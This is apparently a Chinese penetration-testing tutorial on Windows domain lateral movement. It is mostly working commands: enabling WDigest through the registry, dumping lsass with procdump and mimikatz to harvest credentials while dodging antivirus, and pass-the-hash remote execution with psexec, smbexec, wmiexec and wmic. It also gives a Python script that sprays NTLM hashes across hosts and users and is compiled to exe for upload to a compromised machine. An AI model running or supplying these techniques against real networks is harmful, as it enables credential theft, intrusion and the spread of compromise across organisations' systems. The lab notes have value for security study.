内网安全-域横向smb&wmi明文或hash传递

内网安全-域横向smb&wmi明文或hash传递_第1张图片
知识点1:

Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
针对以上情况,我们提供了4种方式解决此类问题
1.利用哈希hash传递(path,ptk等)进行移动
2.利用其他服务协议(SMB,WMI等)进行哈希移动
3.利用注册表操作开启Wdigest Auth值进行获取
4.利用工具或第三方平台(Hachcat)进行破解获取

知识点2

Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,
服务器系统在Windows 2003以后,认证方法均为NTLM Hash

注册表修改,开启wdigest

reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDige st /v UseLogonCredential /t REG DWORD /d 1 /f 

内网安全-域横向smb&wmi明文或hash传递_第2张图片

案例 1-Procdump+Mimikatz 配合获取

当Mimikatz被杀毒软件拦截,可通过procdump 配合 mimikatz
因为procdump是windows官方的软件,所以在实战时一般不会对其进行拦截

procdump -accepteula -ma lsass.exe lsass.dmp
mimikatz 上执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full


#Pwdump7
#QuarksPwdump

hashcat -a0-m 1000hash file --force

上传到对方服务器,并通过命令执行,执行后会在当前目录生成一个lsass.dmp文件
内网安全-域横向smb&wmi明文或hash传递_第3张图片
将对方服务器上生成的dmp文件复制到本地mimikatz的目录
在本机通过mimikatz来读取dmp文件里的内容

内网安全-域横向smb&wmi明文或hash传递_第4张图片
此处为读取的对方服务器上的密码
内网安全-域横向smb&wmi明文或hash传递_第5张图片

案例 2-域横向移动 SMB 服务利用-psexec,smbexec(官方自带)

利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。

#psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递
net use \\192.168.3.32\ipc$ "admin!@#45" /user:ad
ministrator
psexec \\192.168.3.32 -s cmd # 需要先有 ipc 链接 -s 以 System 权限运行

#psexec 第二种:不用建立 IPC 直接提供明文账户密码
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd

psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3

psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方 Pstools 无法
采用 hash 连接
#非官方自带-参考 impacket 工具包使用,操作简单,容易被杀

#smbexec 无需先 ipc 链接 明文或 hash 传递
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32

smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21

smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21

psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递
将官方的PSTools上传到对方服务器,通过信息收集获取内网其他主机的ip与密码
切换到PSTools目录,通过net use连接内网的目标主机,再通过psexec执行命令
内网安全-域横向smb&wmi明文或hash传递_第6张图片
psexec 第二种:不用建立 IPC 直接提供明文账户密码
将官方的PSTools上传到对方服务器,通过信息收集获取内网其他主机的ip与密码
切换到PSTools目录,不需要用net use 命令建立连接,但仍需要明文密码
内网安全-域横向smb&wmi明文或hash传递_第7张图片
可以通过非官方自带impacket 工具包进行hash密文连接,容易被杀
将impacket-examples-windows上传到对方服务器
切换到impacket-examples-windows目录通过psexec进行密文连接
内网安全-域横向smb&wmi明文或hash传递_第8张图片

smbexec 无需先 ipc 链接 明文或 hash 传递,非官方
将impacket-examples-windows上传到对方服务器
切换到impacket-examples-windows目录,通过smbexec进行连接,对192.168.3.21上的域(god)用户administrator进行连接
内网安全-域横向smb&wmi明文或hash传递_第9张图片对192.168.3.21上的本地用户administrator进行连接
内网安全-域横向smb&wmi明文或hash传递_第10张图片
当我们获取不到明文密码时,也可以通过hash密文密码连接
内网安全-域横向smb&wmi明文或hash传递_第11张图片

案例 3-域横向移动 WMI 服务利用-cscript,wmiexec,wmic

WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash
的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

自带 WMIC 明文传递 无回显 官方
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c 
ipconfig >C:\1.txt"

自带 cscript 明文传递 有回显
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本
wmiexec ./administrator:admin!@#[email protected] "whoami"
wmiexec god/administrator:[email protected] "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected] "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected] "whoami"

自带 WMIC 明文传递 无回显 官方
缺点:无回显,需要自己去读取目标主机上执行命令产生结果的文件内容
优点:不会被杀毒软件干扰
内网安全-域横向smb&wmi明文或hash传递_第12张图片目标主机C盘目录下1.txt文件内容
内网安全-域横向smb&wmi明文或hash传递_第13张图片

自带 cscript 明文传递 有回显

将wmiexec.vbs上传到对方主机
需要借助wmiexec.vbs文件,切换到wmiexec.vbs所在目录执行cmd窗口
内网安全-域横向smb&wmi明文或hash传递_第14张图片
套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本
有可能被杀毒软件拦截

上传后切换到impacket-examples-windows目录,通过wmiexec执行
内网安全-域横向smb&wmi明文或hash传递_第15张图片wmiexec通过hash密文连接执行命令
内网安全-域横向smb&wmi明文或hash传递_第16张图片
总结:
通过官方PSTools中psexec连接时只能用明文密码进行连接,但是不会被杀毒软件拦截
通过官方自带命令WMIC时,只支持明文且没有回显需自己读取
通过官方自带命令cscript与wmiexec.vbs配合时有回显,但是只支持明文
通过非官方impacket-examples-windows中psexec和smbexec和wmiexec连接时可支持密文hash密码连接,但容易被杀毒软件拦截
现在基本通过mimikatz获取的密码都是密文的

案例 4-域横向移动以上服务 hash 批量利用-python 编译 exe

假设当入侵并提权成功一个主机后,对内网的其它主机进行渗透

通过mimikatz获取主机当前的明文或hash密文密码
内网安全-域横向smb&wmi明文或hash传递_第17张图片
ip探针,查看当前存活的主机的ip
内网安全-域横向smb&wmi明文或hash传递_第18张图片
收集域内用户信息
内网安全-域横向smb&wmi明文或hash传递_第19张图片
当只获取到hash密文密码时
通过python脚本,批量的连接进行测试

#pyinstaller.exe -F fuck_neiwang_002.py

import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
	for user in users:
		for mimahash in hashs:
			#wmiexec -hashes :hashgod/user@ipwhoami
			exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
			exec1 = "wmiexec -hashes :"+mimahash+" ./"+user+"@"+ip+" whoami"
			print('--->' + exec + '<---')
			print('--->' + exec1 + '<---')
			os.system(exec)
			os.system(exec1)
			time.sleep(0.5)

将py脚本通过pyinstaller编译成exe文件,上传到目标主机

因为py脚本中需要使用到wmiexec,所以也需将impacket-examples-windows中的wmiexec上传至目标主机,并且需与py编译的exe文件在一个目录下
内网安全-域横向smb&wmi明文或hash传递_第20张图片
当前目录下打开cmd窗口,运行通过py编译后的exe文件
内网安全-域横向smb&wmi明文或hash传递_第21张图片
运行结果,192.168.3.32的主机尝试连接成功
内网安全-域横向smb&wmi明文或hash传递_第22张图片
接下来,连接192.168.3.32的主机,通过mimikatz获取这个主机的密码

再将获取的密码添加到python编写的脚本里面,进行字典丰富

继续重复上面的步骤,执行python脚本编译的exe文件,尝试对其它主机进行连接

你可能感兴趣的:(渗透笔记2,哈希算法,安全,服务器)